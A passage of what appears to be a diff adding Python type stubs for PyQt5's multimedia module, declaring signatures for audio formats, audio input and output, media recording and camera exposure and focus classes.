typing.List[int]: ... + def supportedCodecs(self) -> typing.List[str]: ... + def nearestFormat(self, format: 'QAudioFormat') -> 'QAudioFormat': ... + def preferredFormat(self) -> 'QAudioFormat': ... + def isFormatSupported(self, format: 'QAudioFormat') -> bool: ... + def deviceName(self) -> str: ... + def isNull(self) -> bool: ... + + +class QAudioEncoderSettingsControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setAudioSettings(self, settings: 'QAudioEncoderSettings') -> None: ... + def audioSettings(self) -> 'QAudioEncoderSettings': ... + def supportedSampleRates(self, settings: 'QAudioEncoderSettings') -> typing.Tuple[typing.List[int], bool]: ... + def codecDescription(self, codecName: str) -> str: ... + def supportedAudioCodecs(self) -> typing.List[str]: ... + + +class QAudioFormat(sip.simplewrapper): + + class Endian(int): + BigEndian = ... # type: QAudioFormat.Endian + LittleEndian = ... # type: QAudioFormat.Endian + + class SampleType(int): + Unknown = ... # type: QAudioFormat.SampleType + SignedInt = ... # type: QAudioFormat.SampleType + UnSignedInt = ... # type: QAudioFormat.SampleType + Float = ... # type: QAudioFormat.SampleType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QAudioFormat') -> None: ... + + def bytesPerFrame(self) -> int: ... + def durationForFrames(self, frameCount: int) -> int: ... + def framesForDuration(self, duration: int) -> int: ... + def framesForBytes(self, byteCount: int) -> int: ... + def bytesForFrames(self, frameCount: int) -> int: ... + def durationForBytes(self, byteCount: int) -> int: ... + def bytesForDuration(self, duration: int) -> int: ... + def channelCount(self) -> int: ... + def setChannelCount(self, channelCount: int) -> None: ... + def sampleRate(self) -> int: ... + def setSampleRate(self, sampleRate: int) -> None: ... + def sampleType(self) -> 'QAudioFormat.SampleType': ... + def setSampleType(self, sampleType: 'QAudioFormat.SampleType') -> None: ... + def byteOrder(self) -> 'QAudioFormat.Endian': ... + def setByteOrder(self, byteOrder: 'QAudioFormat.Endian') -> None: ... + def codec(self) -> str: ... + def setCodec(self, codec: str) -> None: ... + def sampleSize(self) -> int: ... + def setSampleSize(self, sampleSize: int) -> None: ... + def isValid(self) -> bool: ... + + +class QAudioInput(QtCore.QObject): + + @typing.overload + def __init__(self, format: QAudioFormat = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, audioDevice: QAudioDeviceInfo, format: QAudioFormat = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def volume(self) -> float: ... + def setVolume(self, volume: float) -> None: ... + def notify(self) -> None: ... + def stateChanged(self, a0: QAudio.State) -> None: ... + def state(self) -> QAudio.State: ... + def error(self) -> QAudio.Error: ... + def elapsedUSecs(self) -> int: ... + def processedUSecs(self) -> int: ... + def notifyInterval(self) -> int: ... + def setNotifyInterval(self, milliSeconds: int) -> None: ... + def periodSize(self) -> int: ... + def bytesReady(self) -> int: ... + def bufferSize(self) -> int: ... + def setBufferSize(self, bytes: int) -> None: ... + def resume(self) -> None: ... + def suspend(self) -> None: ... + def reset(self) -> None: ... + def stop(self) -> None: ... + @typing.overload + def start(self, device: QtCore.QIODevice) -> None: ... + @typing.overload + def start(self) -> QtCore.QIODevice: ... + def format(self) -> QAudioFormat: ... + + +class QAudioInputSelectorControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def availableInputsChanged(self) -> None: ... + def activeInputChanged(self, name: str) -> None: ... + def setActiveInput(self, name: str) -> None: ... + def activeInput(self) -> str: ... + def defaultInput(self) -> str: ... + def inputDescription(self, name: str) -> str: ... + def availableInputs(self) -> typing.List[str]: ... + + +class QAudioOutput(QtCore.QObject): + + @typing.overload + def __init__(self, format: QAudioFormat = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, audioDevice: QAudioDeviceInfo, format: QAudioFormat = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setCategory(self, category: str) -> None: ... + def category(self) -> str: ... + def volume(self) -> float: ... + def setVolume(self, a0: float) -> None: ... + def notify(self) -> None: ... + def stateChanged(self, a0: QAudio.State) -> None: ... + def state(self) -> QAudio.State: ... + def error(self) -> QAudio.Error: ... + def elapsedUSecs(self) -> int: ... + def processedUSecs(self) -> int: ... + def notifyInterval(self) -> int: ... + def setNotifyInterval(self, milliSeconds: int) -> None: ... + def periodSize(self) -> int: ... + def bytesFree(self) -> int: ... + def bufferSize(self) -> int: ... + def setBufferSize(self, bytes: int) -> None: ... + def resume(self) -> None: ... + def suspend(self) -> None: ... + def reset(self) -> None: ... + def stop(self) -> None: ... + @typing.overload + def start(self, device: QtCore.QIODevice) -> None: ... + @typing.overload + def start(self) -> QtCore.QIODevice: ... + def format(self) -> QAudioFormat: ... + + +class QAudioOutputSelectorControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def availableOutputsChanged(self) -> None: ... + def activeOutputChanged(self, name: str) -> None: ... + def setActiveOutput(self, name: str) -> None: ... + def activeOutput(self) -> str: ... + def defaultOutput(self) -> str: ... + def outputDescription(self, name: str) -> str: ... + def availableOutputs(self) -> typing.List[str]: ... + + +class QAudioProbe(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def flush(self) -> None: ... + def audioBufferProbed(self, audioBuffer: QAudioBuffer) -> None: ... + def isActive(self) -> bool: ... + @typing.overload + def setSource(self, source: QMediaObject) -> bool: ... + @typing.overload + def setSource(self, source: 'QMediaRecorder') -> bool: ... + + +class QMediaBindableInterface(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QMediaBindableInterface') -> None: ... + + def setMediaObject(self, object: QMediaObject) -> bool: ... + def mediaObject(self) -> QMediaObject: ... + + +class QMediaRecorder(QtCore.QObject, QMediaBindableInterface): + + class Error(int): + NoError = ... # type: QMediaRecorder.Error + ResourceError = ... # type: QMediaRecorder.Error + FormatError = ... # type: QMediaRecorder.Error + OutOfSpaceError = ... # type: QMediaRecorder.Error + + class Status(int): + UnavailableStatus = ... # type: QMediaRecorder.Status + UnloadedStatus = ... # type: QMediaRecorder.Status + LoadingStatus = ... # type: QMediaRecorder.Status + LoadedStatus = ... # type: QMediaRecorder.Status + StartingStatus = ... # type: QMediaRecorder.Status + RecordingStatus = ... # type: QMediaRecorder.Status + PausedStatus = ... # type: QMediaRecorder.Status + FinalizingStatus = ... # type: QMediaRecorder.Status + + class State(int): + StoppedState = ... # type: QMediaRecorder.State + RecordingState = ... # type: QMediaRecorder.State + PausedState = ... # type: QMediaRecorder.State + + def __init__(self, mediaObject: QMediaObject, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setMediaObject(self, object: QMediaObject) -> bool: ... + @typing.overload + def availabilityChanged(self, availability: 'QMultimedia.AvailabilityStatus') -> None: ... + @typing.overload + def availabilityChanged(self, available: bool) -> None: ... + @typing.overload + def metaDataChanged(self, key: str, value: typing.Any) -> None: ... + @typing.overload + def metaDataChanged(self) -> None: ... + def metaDataWritableChanged(self, writable: bool) -> None: ... + def metaDataAvailableChanged(self, available: bool) -> None: ... + def actualLocationChanged(self, location: QtCore.QUrl) -> None: ... + def volumeChanged(self, volume: float) -> None: ... + def mutedChanged(self, muted: bool) -> None: ... + def durationChanged(self, duration: int) -> None: ... + def statusChanged(self, status: 'QMediaRecorder.Status') -> None: ... + def stateChanged(self, state: 'QMediaRecorder.State') -> None: ... + def setVolume(self, volume: float) -> None: ... + def setMuted(self, muted: bool) -> None: ... + def stop(self) -> None: ... + def pause(self) -> None: ... + def record(self) -> None: ... + def availableMetaData(self) -> typing.List[str]: ... + def setMetaData(self, key: str, value: typing.Any) -> None: ... + def metaData(self, key: str) -> typing.Any: ... + def isMetaDataWritable(self) -> bool: ... + def isMetaDataAvailable(self) -> bool: ... + def setEncodingSettings(self, audio: 'QAudioEncoderSettings', video: 'QVideoEncoderSettings' = ..., container: str = ...) -> None: ... + def setContainerFormat(self, container: str) -> None: ... + def setVideoSettings(self, videoSettings: 'QVideoEncoderSettings') -> None: ... + def setAudioSettings(self, audioSettings: 'QAudioEncoderSettings') -> None: ... + def containerFormat(self) -> str: ... + def videoSettings(self) -> 'QVideoEncoderSettings': ... + def audioSettings(self) -> 'QAudioEncoderSettings': ... + def supportedFrameRates(self, settings: 'QVideoEncoderSettings' = ...) -> typing.Tuple[typing.List[float], bool]: ... + def supportedResolutions(self, settings: 'QVideoEncoderSettings' = ...) -> typing.Tuple[typing.List[QtCore.QSize], bool]: ... + def videoCodecDescription(self, codecName: str) -> str: ... + def supportedVideoCodecs(self) -> typing.List[str]: ... + def supportedAudioSampleRates(self, settings: 'QAudioEncoderSettings' = ...) -> typing.Tuple[typing.List[int], bool]: ... + def audioCodecDescription(self, codecName: str) -> str: ... + def supportedAudioCodecs(self) -> typing.List[str]: ... + def containerDescription(self, format: str) -> str: ... + def supportedContainers(self) -> typing.List[str]: ... + def volume(self) -> float: ... + def isMuted(self) -> bool: ... + def duration(self) -> int: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QMediaRecorder.Error': ... + @typing.overload + def error(self, error: 'QMediaRecorder.Error') -> None: ... + def status(self) -> 'QMediaRecorder.Status': ... + def state(self) -> 'QMediaRecorder.State': ... + def actualLocation(self) -> QtCore.QUrl: ... + def setOutputLocation(self, location: QtCore.QUrl) -> bool: ... + def outputLocation(self) -> QtCore.QUrl: ... + def availability(self) -> 'QMultimedia.AvailabilityStatus': ... + def isAvailable(self) -> bool: ... + def mediaObject(self) -> QMediaObject: ... + + +class QAudioRecorder(QMediaRecorder): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def availableAudioInputsChanged(self) -> None: ... + def audioInputChanged(self, name: str) -> None: ... + def setAudioInput(self, name: str) -> None: ... + def audioInput(self) -> str: ... + def audioInputDescription(self, name: str) -> str: ... + def defaultAudioInput(self) -> str: ... + def audioInputs(self) -> typing.List[str]: ... + + +class QAudioRoleControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def audioRoleChanged(self, role: QAudio.Role) -> None: ... + def supportedAudioRoles(self) -> typing.List[QAudio.Role]: ... + def setAudioRole(self, role: QAudio.Role) -> None: ... + def audioRole(self) -> QAudio.Role: ... + + +class QCamera(QMediaObject): + + class Position(int): + UnspecifiedPosition = ... # type: QCamera.Position + BackFace = ... # type: QCamera.Position + FrontFace = ... # type: QCamera.Position + + class LockType(int): + NoLock = ... # type: QCamera.LockType + LockExposure = ... # type: QCamera.LockType + LockWhiteBalance = ... # type: QCamera.LockType + LockFocus = ... # type: QCamera.LockType + + class LockChangeReason(int): + UserRequest = ... # type: QCamera.LockChangeReason + LockAcquired = ... # type: QCamera.LockChangeReason + LockFailed = ... # type: QCamera.LockChangeReason + LockLost = ... # type: QCamera.LockChangeReason + LockTemporaryLost = ... # type: QCamera.LockChangeReason + + class LockStatus(int): + Unlocked = ... # type: QCamera.LockStatus + Searching = ... # type: QCamera.LockStatus + Locked = ... # type: QCamera.LockStatus + + class Error(int): + NoError = ... # type: QCamera.Error + CameraError = ... # type: QCamera.Error + InvalidRequestError = ... # type: QCamera.Error + ServiceMissingError = ... # type: QCamera.Error + NotSupportedFeatureError = ... # type: QCamera.Error + + class CaptureMode(int): + CaptureViewfinder = ... # type: QCamera.CaptureMode + CaptureStillImage = ... # type: QCamera.CaptureMode + CaptureVideo = ... # type: QCamera.CaptureMode + + class State(int): + UnloadedState = ... # type: QCamera.State + LoadedState = ... # type: QCamera.State + ActiveState = ... # type: QCamera.State + + class Status(int): + UnavailableStatus = ... # type: QCamera.Status + UnloadedStatus = ... # type: QCamera.Status + LoadingStatus = ... # type: QCamera.Status + UnloadingStatus = ... # type: QCamera.Status + LoadedStatus = ... # type: QCamera.Status + StandbyStatus = ... # type: QCamera.Status + StartingStatus = ... # type: QCamera.Status + StoppingStatus = ... # type: QCamera.Status + ActiveStatus = ... # type: QCamera.Status + + class CaptureModes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QCamera.CaptureModes', 'QCamera.CaptureMode']) -> None: ... + @typing.overload + def __init__(self, a0: 'QCamera.CaptureModes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QCamera.CaptureModes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class LockTypes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QCamera.LockTypes', 'QCamera.LockType']) -> None: ... + @typing.overload + def __init__(self, a0: 'QCamera.LockTypes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QCamera.LockTypes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class FrameRateRange(sip.simplewrapper): + + maximumFrameRate = ... # type: float + minimumFrameRate = ... # type: float + + @typing.overload + def __init__(self, minimum: float, maximum: float) -> None: ... + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QCamera.FrameRateRange') -> None: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, device: typing.Union[QtCore.QByteArray, bytes, bytearray], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, cameraInfo: 'QCameraInfo', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, position: 'QCamera.Position', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def supportedViewfinderPixelFormats(self, settings: 'QCameraViewfinderSettings' = ...) -> typing.List['QVideoFrame.PixelFormat']: ... + def supportedViewfinderFrameRateRanges(self, settings: 'QCameraViewfinderSettings' = ...) -> typing.List['QCamera.FrameRateRange']: ... + def supportedViewfinderResolutions(self, settings: 'QCameraViewfinderSettings' = ...) -> typing.List[QtCore.QSize]: ... + def supportedViewfinderSettings(self, settings: 'QCameraViewfinderSettings' = ...) -> typing.List['QCameraViewfinderSettings']: ... + def setViewfinderSettings(self, settings: 'QCameraViewfinderSettings') -> None: ... + def viewfinderSettings(self) -> 'QCameraViewfinderSettings': ... + def errorOccurred(self, a0: 'QCamera.Error') -> None: ... + @typing.overload + def lockStatusChanged(self, a0: 'QCamera.LockStatus', a1: 'QCamera.LockChangeReason') -> None: ... + @typing.overload + def lockStatusChanged(self, a0: 'QCamera.LockType', a1: 'QCamera.LockStatus', a2: 'QCamera.LockChangeReason') -> None: ... + def lockFailed(self) -> None: ... + def locked(self) -> None: ... + def statusChanged(self, a0: 'QCamera.Status') -> None: ... + def captureModeChanged(self, a0: typing.Union['QCamera.CaptureModes', 'QCamera.CaptureMode']) -> None: ... + def stateChanged(self, a0: 'QCamera.State') -> None: ... + @typing.overload + def unlock(self) -> None: ... + @typing.overload + def unlock(self, locks: typing.Union['QCamera.LockTypes', 'QCamera.LockType']) -> None: ... + @typing.overload + def searchAndLock(self) -> None: ... + @typing.overload + def searchAndLock(self, locks: typing.Union['QCamera.LockTypes', 'QCamera.LockType']) -> None: ... + def stop(self) -> None: ... + def start(self) -> None: ... + def unload(self) -> None: ... + def load(self) -> None: ... + def setCaptureMode(self, mode: typing.Union['QCamera.CaptureModes', 'QCamera.CaptureMode']) -> None: ... + @typing.overload + def lockStatus(self) -> 'QCamera.LockStatus': ... + @typing.overload + def lockStatus(self, lock: 'QCamera.LockType') -> 'QCamera.LockStatus': ... + def requestedLocks(self) -> 'QCamera.LockTypes': ... + def supportedLocks(self) -> 'QCamera.LockTypes': ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QCamera.Error': ... + @typing.overload + def error(self, a0: 'QCamera.Error') -> None: ... + @typing.overload + def setViewfinder(self, viewfinder: QVideoWidget) -> None: ... + @typing.overload + def setViewfinder(self, viewfinder: QGraphicsVideoItem) -> None: ... + @typing.overload + def setViewfinder(self, surface: QAbstractVideoSurface) -> None: ... + def imageProcessing(self) -> 'QCameraImageProcessing': ... + def focus(self) -> 'QCameraFocus': ... + def exposure(self) -> 'QCameraExposure': ... + def isCaptureModeSupported(self, mode: typing.Union['QCamera.CaptureModes', 'QCamera.CaptureMode']) -> bool: ... + def captureMode(self) -> 'QCamera.CaptureModes': ... + def status(self) -> 'QCamera.Status': ... + def state(self) -> 'QCamera.State': ... + def availability(self) -> 'QMultimedia.AvailabilityStatus': ... + @staticmethod + def deviceDescription(device: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> str: ... + @staticmethod + def availableDevices() -> typing.List[QtCore.QByteArray]: ... + + +class QCameraCaptureBufferFormatControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def bufferFormatChanged(self, format: 'QVideoFrame.PixelFormat') -> None: ... + def setBufferFormat(self, format: 'QVideoFrame.PixelFormat') -> None: ... + def bufferFormat(self) -> 'QVideoFrame.PixelFormat': ... + def supportedBufferFormats(self) -> typing.List['QVideoFrame.PixelFormat']: ... + + +class QCameraCaptureDestinationControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def captureDestinationChanged(self, destination: typing.Union['QCameraImageCapture.CaptureDestinations', 'QCameraImageCapture.CaptureDestination']) -> None: ... + def setCaptureDestination(self, destination: typing.Union['QCameraImageCapture.CaptureDestinations', 'QCameraImageCapture.CaptureDestination']) -> None: ... + def captureDestination(self) -> 'QCameraImageCapture.CaptureDestinations': ... + def isCaptureDestinationSupported(self, destination: typing.Union['QCameraImageCapture.CaptureDestinations', 'QCameraImageCapture.CaptureDestination']) -> bool: ... + + +class QCameraControl(QMediaControl): + + class PropertyChangeType(int): + CaptureMode = ... # type: QCameraControl.PropertyChangeType + ImageEncodingSettings = ... # type: QCameraControl.PropertyChangeType + VideoEncodingSettings = ... # type: QCameraControl.PropertyChangeType + Viewfinder = ... # type: QCameraControl.PropertyChangeType + ViewfinderSettings = ... # type: QCameraControl.PropertyChangeType + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def captureModeChanged(self, mode: typing.Union[QCamera.CaptureModes, QCamera.CaptureMode]) -> None: ... + def error(self, error: int, errorString: str) -> None: ... + def statusChanged(self, a0: QCamera.Status) -> None: ... + def stateChanged(self, a0: QCamera.State) -> None: ... + def canChangeProperty(self, changeType: 'QCameraControl.PropertyChangeType', status: QCamera.Status) -> bool: ... + def isCaptureModeSupported(self, mode: typing.Union[QCamera.CaptureModes, QCamera.CaptureMode]) -> bool: ... + def setCaptureMode(self, a0: typing.Union[QCamera.CaptureModes, QCamera.CaptureMode]) -> None: ... + def captureMode(self) -> QCamera.CaptureModes: ... + def status(self) -> QCamera.Status: ... + def setState(self, state: QCamera.State) -> None: ... + def state(self) -> QCamera.State: ... + + +class QCameraExposure(QtCore.QObject): + + class MeteringMode(int): + MeteringMatrix = ... # type: QCameraExposure.MeteringMode + MeteringAverage = ... # type: QCameraExposure.MeteringMode + MeteringSpot = ... # type: QCameraExposure.MeteringMode + + class ExposureMode(int): + ExposureAuto = ... # type: QCameraExposure.ExposureMode + ExposureManual = ... # type: QCameraExposure.ExposureMode + ExposurePortrait = ... # type: QCameraExposure.ExposureMode + ExposureNight = ... # type: QCameraExposure.ExposureMode + ExposureBacklight = ... # type: QCameraExposure.ExposureMode + ExposureSpotlight = ... # type: QCameraExposure.ExposureMode + ExposureSports = ... # type: QCameraExposure.ExposureMode + ExposureSnow = ... # type: QCameraExposure.ExposureMode + ExposureBeach = ... # type: QCameraExposure.ExposureMode + ExposureLargeAperture = ... # type: QCameraExposure.ExposureMode + ExposureSmallAperture = ... # type: QCameraExposure.ExposureMode + ExposureAction = ... # type: QCameraExposure.ExposureMode + ExposureLandscape = ... # type: QCameraExposure.ExposureMode + ExposureNightPortrait = ... # type: QCameraExposure.ExposureMode + ExposureTheatre = ... # type: QCameraExposure.ExposureMode + ExposureSunset = ... # type: QCameraExposure.ExposureMode + ExposureSteadyPhoto = ... # type: QCameraExposure.ExposureMode + ExposureFireworks = ... # type: QCameraExposure.ExposureMode + ExposureParty = ... # type: QCameraExposure.ExposureMode + ExposureCandlelight = ... # type: QCameraExposure.ExposureMode + ExposureBarcode = ... # type: QCameraExposure.ExposureMode + ExposureModeVendor = ... # type: QCameraExposure.ExposureMode + + class FlashMode(int): + FlashAuto = ... # type: QCameraExposure.FlashMode + FlashOff = ... # type: QCameraExposure.FlashMode + FlashOn = ... # type: QCameraExposure.FlashMode + FlashRedEyeReduction = ... # type: QCameraExposure.FlashMode + FlashFill = ... # type: QCameraExposure.FlashMode + FlashTorch = ... # type: QCameraExposure.FlashMode + FlashVideoLight = ... # type: QCameraExposure.FlashMode + FlashSlowSyncFrontCurtain = ... # type: QCameraExposure.FlashMode + FlashSlowSyncRearCurtain = ... # type: QCameraExposure.FlashMode + FlashManual = ... # type: QCameraExposure.FlashMode + + class FlashModes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QCameraExposure.FlashModes', 'QCameraExposure.FlashMode']) -> None: ... + @typing.overload + def __init__(self, a0: 'QCameraExposure.FlashModes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QCameraExposure.FlashModes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def exposureCompensationChanged(self, a0: float) -> None: ... + def isoSensitivityChanged(self, a0: int) -> None: ... + def shutterSpeedRangeChanged(self) -> None: ... + def shutterSpeedChanged(self, a0: float) -> None: ... + def apertureRangeChanged(self) -> None: ... + def apertureChanged(self, a0: float) -> None: ... + def flashReady(self, a0: bool) -> None: ... + def setAutoShutterSpeed(self) -> None: ... + def setManualShutterSpeed(self, seconds: float) -> None: ... + def setAutoAperture(self) -> None: ... + def setManualAperture(self, aperture: float) -> None: ... + def setAutoIsoSensitivity(self) -> None: ... + def setManualIsoSensitivity(self, iso: int) -> None: ... + def setExposureCompensation(self, ev: float) -> None: ... + def setMeteringMode(self, mode: 'QCameraExposure.MeteringMode') -> None: ... + def setExposureMode(self, mode: 'QCameraExposure.ExposureMode') -> None: ... + def setFlashMode(self, mode: typing.Union['QCameraExposure.FlashModes', 'QCameraExposure.FlashMode']) -> None: ... + def supportedShutterSpeeds(self) -> typing.Tuple[typing.List[float], bool]: ... + def supportedApertures(self) -> typing.Tuple[typing.List[float], bool]: ... + def supportedIsoSensitivities(self) -> typing.Tuple[typing.List[int], bool]: ... + def requestedShutterSpeed(self) -> float: ... + def requestedAperture(self) -> float: ... + def requestedIsoSensitivity(self) -> int: ... + def shutterSpeed(self) -> float: ... + def aperture(self) -> float: ... + def isoSensitivity(self) -> int: ... + def setSpotMeteringPoint(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def spotMeteringPoint(self) -> QtCore.QPointF: ... + def isMeteringModeSupported(self, mode: 'QCameraExposure.MeteringMode') -> bool: ... + def meteringMode(self) -> 'QCameraExposure.MeteringMode': ... + def exposureCompensation(self) -> float: ... + def isExposureModeSupported(self, mode: 'QCameraExposure.ExposureMode') -> bool: ... + def exposureMode(self) -> 'QCameraExposure.ExposureMode': ... + def isFlashReady(self) -> bool: ... + def isFlashModeSupported(self, mode: typing.Union['QCameraExposure.FlashModes', 'QCameraExposure.FlashMode']) -> bool: ... + def flashMode(self) -> 'QCameraExposure.FlashModes': ... + def isAvailable(self) -> bool: ... + + +class QCameraExposureControl(QMediaControl): + + class ExposureParameter(int): + ISO = ... # type: QCameraExposureControl.ExposureParameter + Aperture = ... # type: QCameraExposureControl.ExposureParameter + ShutterSpeed = ... # type: QCameraExposureControl.ExposureParameter + ExposureCompensation = ... # type: QCameraExposureControl.ExposureParameter + FlashPower = ... # type: QCameraExposureControl.ExposureParameter + FlashCompensation = ... # type: QCameraExposureControl.ExposureParameter + TorchPower = ... # type: QCameraExposureControl.ExposureParameter + SpotMeteringPoint = ... # type: QCameraExposureControl.ExposureParameter + ExposureMode = ... # type: QCameraExposureControl.ExposureParameter + MeteringMode = ... # type: QCameraExposureControl.ExposureParameter + ExtendedExposureParameter = ... # type: QCameraExposureControl.ExposureParameter + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def parameterRangeChanged(self, parameter: int) -> None: ... + def actualValueChanged(self, parameter: int) -> None: ... + def requestedValueChanged(self, parameter: int) -> None: ... + def setValue(self, parameter: 'QCameraExposureControl.ExposureParameter', value: typing.Any) -> bool: ... + def actualValue(self, parameter: 'QCameraExposureControl.ExposureParameter') -> typing.Any: ... + def requestedValue(self, parameter: 'QCameraExposureControl.ExposureParameter') -> typing.Any: ... + def supportedParameterRange(self, parameter: 'QCameraExposureControl.ExposureParameter') -> typing.Tuple[typing.List[typing.Any], bool]: ... + def isParameterSupported(self, parameter: 'QCameraExposureControl.ExposureParameter') -> bool: ... + + +class QCameraFeedbackControl(QMediaControl): + + class EventType(int): + ViewfinderStarted = ... # type: QCameraFeedbackControl.EventType + ViewfinderStopped = ... # type: QCameraFeedbackControl.EventType + ImageCaptured = ... # type: QCameraFeedbackControl.EventType + ImageSaved = ... # type: QCameraFeedbackControl.EventType + ImageError = ... # type: QCameraFeedbackControl.EventType + RecordingStarted = ... # type: QCameraFeedbackControl.EventType + RecordingInProgress = ... # type: QCameraFeedbackControl.EventType + RecordingStopped = ... # type: QCameraFeedbackControl.EventType + AutoFocusInProgress = ... # type: QCameraFeedbackControl.EventType + AutoFocusLocked = ... # type: QCameraFeedbackControl.EventType + AutoFocusFailed = ... # type: QCameraFeedbackControl.EventType + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setEventFeedbackSound(self, a0: 'QCameraFeedbackControl.EventType', filePath: str) -> bool: ... + def resetEventFeedback(self, a0: 'QCameraFeedbackControl.EventType') -> None: ... + def setEventFeedbackEnabled(self, a0: 'QCameraFeedbackControl.EventType', a1: bool) -> bool: ... + def isEventFeedbackEnabled(self, a0: 'QCameraFeedbackControl.EventType') -> bool: ... + def isEventFeedbackLocked(self, a0: 'QCameraFeedbackControl.EventType') -> bool: ... + + +class QCameraFlashControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def flashReady(self, a0: bool) -> None: ... + def isFlashReady(self) -> bool: ... + def isFlashModeSupported(self, mode: typing.Union[QCameraExposure.FlashModes, QCameraExposure.FlashMode]) -> bool: ... + def setFlashMode(self, mode: typing.Union[QCameraExposure.FlashModes, QCameraExposure.FlashMode]) -> None: ... + def flashMode(self) -> QCameraExposure.FlashModes: ... + + +class QCameraFocusZone(sip.simplewrapper): + + class FocusZoneStatus(int): + Invalid = ... # type: QCameraFocusZone.FocusZoneStatus + Unused = ... # type: QCameraFocusZone.FocusZoneStatus + Selected = ... # type: QCameraFocusZone.FocusZoneStatus + Focused = ... # type: QCameraFocusZone.FocusZoneStatus + + def __init__(self, other: 'QCameraFocusZone') -> None: ... + + def status(self) -> 'QCameraFocusZone.FocusZoneStatus': ... + def area(self) -> QtCore.QRectF: ... + def isValid(self) -> bool: ... + + +class QCameraFocus(QtCore.QObject): + + class FocusPointMode(int): + FocusPointAuto = ... # type: QCameraFocus.FocusPointMode + FocusPointCenter = ... # type: QCameraFocus.FocusPointMode + FocusPointFaceDetection = ... # type: QCameraFocus.FocusPointMode + FocusPointCustom = ... # type: QCameraFocus.FocusPointMode + + class FocusMode(int): + ManualFocus = ... # type: QCameraFocus.FocusMode + HyperfocalFocus = ... # type: QCameraFocus.FocusMode + InfinityFocus = ... # type: QCameraFocus.FocusMode + AutoFocus = ... # type: QCameraFocus.FocusMode + ContinuousFocus = ... # type: QCameraFocus.FocusMode + MacroFocus = ... # type: QCameraFocus.FocusMode + + class FocusModes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QCameraFocus.FocusModes', 'QCameraFocus.FocusMode']) -> None: ... + @typing.overload + def __init__(self, a0: 'QCameraFocus.FocusModes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QCameraFocus.FocusModes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def maximumDigitalZoomChanged(self, a0: float) -> None: ... + def maximumOpticalZoomChanged(self, a0: float) -> None: ... + def focusZonesChanged(self) -> None: ... + def digitalZoomChanged(self, a0: float) -> None: ... + def opticalZoomChanged(self, a0: float) -> None: ... + def zoomTo(self, opticalZoom: float, digitalZoom: float) -> None: ... + def digitalZoom(self) -> float: ... + def opticalZoom(self) -> float: ... + def maximumDigitalZoom(self) -> float: ... + def maximumOpticalZoom(self) -> float: ... + def focusZones(self) -> typing.List[QCameraFocusZone]: ... + def setCustomFocusPoint(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def customFocusPoint(self) -> QtCore.QPointF: ... + def isFocusPointModeSupported(self, a0: 'QCameraFocus.FocusPointMode') -> bool: ... + def setFocusPointMode(self, mode: 'QCameraFocus.FocusPointMode') -> None: ... + def focusPointMode(self) -> 'QCameraFocus.FocusPointMode': ... + def isFocusModeSupported(self, mode: typing.Union['QCameraFocus.FocusModes', 'QCameraFocus.FocusMode']) -> bool: ... + def setFocusMode(self, mode: typing.Union['QCameraFocus.FocusModes', 'QCameraFocus.FocusMode']) -> None: ... + def focusMode(self) -> 'QCameraFocus.FocusModes': ... + def isAvailable(self) -> bool: ... + + +class QCameraFocusControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def focusZonesChanged(self) -> None: ... + def customFocusPointChanged(self, point: 